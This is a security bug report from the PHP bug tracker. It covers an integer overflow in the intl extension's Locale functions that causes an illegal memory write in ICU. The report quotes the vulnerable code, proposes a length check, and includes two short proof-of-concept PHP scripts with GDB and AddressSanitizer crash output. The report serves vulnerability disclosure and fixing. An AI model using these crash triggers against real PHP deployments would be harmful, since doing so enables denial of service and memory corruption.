php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #73248 Illegal write access through Locale methods
Submitted: 2016-10-05 02:52 UTC Modified: 2016-10-11 23:51 UTC
From: fernando at null-life dot com Assigned: stas (profile)
Status: Closed Package: intl (PECL)
PHP Version: 5.6.26 OS: *
Private report: No CVE-ID: None
 [2016-10-05 02:52 UTC] fernando at null-life dot com
Description:
------------
The functions locale_get_all_variants and locale_get_primary_language do not validate the length of the locale name supplied, this causes an integer overflow inside ulocimp_getLanguage, since it uses int32_t type as index, and strings with length bigger than 0xffffffff cause an illegal write access.

This bug can be mitigated from PHP, by checking the input length similar to bug67397-patch 
https://bugs.php.net/patch-display.php?bug_id=67397&patch=bug67397-patch&revision=latest 

if (loc_name_len > ULOC_FULLNAME_CAPACITY) {
  //return an error or maybe truncate the input
}


Source code:
https://github.com/php/php-src/blob/master/ext/intl/locale/locale_methods.c#L381

static void get_icu_value_src_php( char* tag_name, INTERNAL_FUNCTION_PARAMETERS)
{

	const char* loc_name        	= NULL;
	size_t         loc_name_len    	= 0;

	zend_string*   tag_value		= NULL;
	char*       empty_result	= "";

	int         result    		= 0;
	char*       msg        		= NULL;

	UErrorCode  status          	= U_ZERO_ERROR;

	intl_error_reset( NULL );

	if(zend_parse_parameters( ZEND_NUM_ARGS(), "s",
	&loc_name ,&loc_name_len ) == FAILURE) {
		spprintf(&msg , 0, "locale_get_%s : unable to parse input params", tag_name );
		intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR,  msg , 1 );
		efree(msg);

		RETURN_FALSE;
    }

	if(loc_name_len == 0) {
		loc_name = intl_locale_get_default();
	}
 
        // Here check that loc_name_len is not greater than 0xffffffff

	/* Call ICU get */
	tag_value = get_icu_value_internal( loc_name , tag_name , &result ,0);
...




https://github.com/php/php-src/blob/master/ext/intl/locale/locale_methods.c#L1143

PHP_FUNCTION(locale_get_all_variants)
{
	const char*  	loc_name        = NULL;
	size_t    		loc_name_len    = 0;

	int	result		= 0;
	char*	token		= NULL;
	zend_string*	variant		= NULL;
	char*	saved_ptr	= NULL;

	intl_error_reset( NULL );

	if(zend_parse_parameters( ZEND_NUM_ARGS(), "s",
	&loc_name, &loc_name_len ) == FAILURE)
	{
		intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR,
	     "locale_parse: unable to parse input params", 0 );

		RETURN_FALSE;
	}

	if(loc_name_len == 0) {
		loc_name = intl_locale_get_default();
	}

        // Here check that loc_name_len is not greater than 0xffffffff

	array_init( return_value );

	/* If the locale is grandfathered, stop, no variants */
	if( findOffset( LOC_GRANDFATHERED , loc_name ) >=  0 ){
		/* ("Grandfathered Tag. No variants."); */
	}
	else {
	/* Call ICU variant */
		variant = get_icu_value_internal( loc_name , LOC_VARIANT_TAG , &result ,0);




GDB output


LD_LIBRARY_PATH=/home/operac/icu58/lib USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 gdb -q --args /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n poc.php
No symbol table is loaded.  Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/operac/build4/bin/php...done.
gdb-peda$ r
Starting program: /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n poc.php
...
Stopped reason: SIGSEGV
0x00007fffee3e8ed5 in ulocimp_getLanguage (localeID=0x7ffe6c3f8800 '#' <repeats 200 times>..., language=0x616000026798 '#' <repeats 200 times>..., languageCapacity=0x200, pEnd=0x0) at uloc.cpp:1244
1244                language[i]=(char)uprv_tolower(*localeID);
gdb-peda$ p/d i
$1 = -2147483648    // negative index



Test script:
---------------
poc.php

<?php

ini_set('memory_limit', -1);

$v1=str_repeat("#", 0x100000005);
locale_get_primary_language($v1);


poc2.php

<?php

ini_set('memory_limit', -1);

$v1=str_repeat("#", 0xffffffff+1);
locale_get_all_variants($v1);


Expected result:
----------------
No crash

Actual result:
--------------
ASan output

LD_LIBRARY_PATH=/home/operac/icu58/lib USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n poc.php
ASAN:SIGSEGV
=================================================================
==31992==ERROR: AddressSanitizer: SEGV on unknown address 0x615f80026798 (pc 0x7fcc8bba5ed5 bp 0x7ffd97436200 sp 0x7ffd97436140 T0)
    #0 0x7fcc8bba5ed4 in ulocimp_getLanguage /home/operac/release-58-rc/source/common/uloc.cpp:1244
    #1 0x7fcc8bba9625 in uloc_getLanguage /home/operac/release-58-rc/source/common/uloc.cpp:1927
    #2 0x7fcc8c8b2859 in get_icu_value_internal /home/operac/build4/php-src/ext/intl/locale/locale_methods.c:323
    #3 0x7fcc8c8b7869 in get_icu_value_src_php /home/operac/build4/php-src/ext/intl/locale/locale_methods.c:411
    #4 0x7fcc8c8b7869 in zif_locale_get_primary_language /home/operac/build4/php-src/ext/intl/locale/locale_methods.c:470
    #5 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586
    #6 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
    #7 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
    #8 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
    #9 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
    #10 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
    #11 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
    #12 0x7fcc9210c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #13 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/operac/release-58-rc/source/common/uloc.cpp:1244 ulocimp_getLanguage



USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n poc2.php
ASAN:SIGSEGV
=================================================================
==8301==ERROR: AddressSanitizer: SEGV on unknown address 0x615f80026798 (pc 0x7f8606ff6ed5 bp 0x7ffe6daca360 sp 0x7ffe6daca2a0 T0)
    #0 0x7f8606ff6ed4 in ulocimp_getLanguage /home/operac/release-58-rc/source/common/uloc.cpp:1244
    #1 0x7f8606ffa625 in uloc_getLanguage /home/operac/release-58-rc/source/common/uloc.cpp:1927
    #2 0x7f8607d03859 in get_icu_value_internal /home/operac/build4/php-src/ext/intl/locale/locale_methods.c:323
    #3 0x7f8607d08869 in get_icu_value_src_php /home/operac/build4/php-src/ext/intl/locale/locale_methods.c:411
    #4 0x7f8607d08869 in zif_locale_get_primary_language /home/operac/build4/php-src/ext/intl/locale/locale_methods.c:470
    #5 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586
    #6 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
    #7 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
    #8 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
    #9 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
    #10 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
    #11 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
    #12 0x7f860d55d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #13 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/operac/release-58-rc/source/common/uloc.cpp:1244 ulocimp_getLanguage


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-10-05 03:07 UTC] stas@php.net
Please report the issue to ICU library maintainers at http://bugs.icu-project.org/trac/
 [2016-10-05 04:55 UTC] stas@php.net
-PHP Version: 7.0.11 +PHP Version: 5.6.26 -Assigned To: +Assigned To: stas
 [2016-10-05 04:55 UTC] stas@php.net
The fix is in security repo as d3eb58332af433982f1e2ae9095fb087974a95f2 and in https://gist.github.com/9285ae2cb889a896cde2b893934d572d

please verify
 [2016-10-11 23:51 UTC] stas@php.net
-Status: Assigned +Status: Closed
 
PHP Copyright © 2001-2020 The PHP Group
All rights reserved.
Last updated: Tue Nov 24 13:01:23 2020 UTC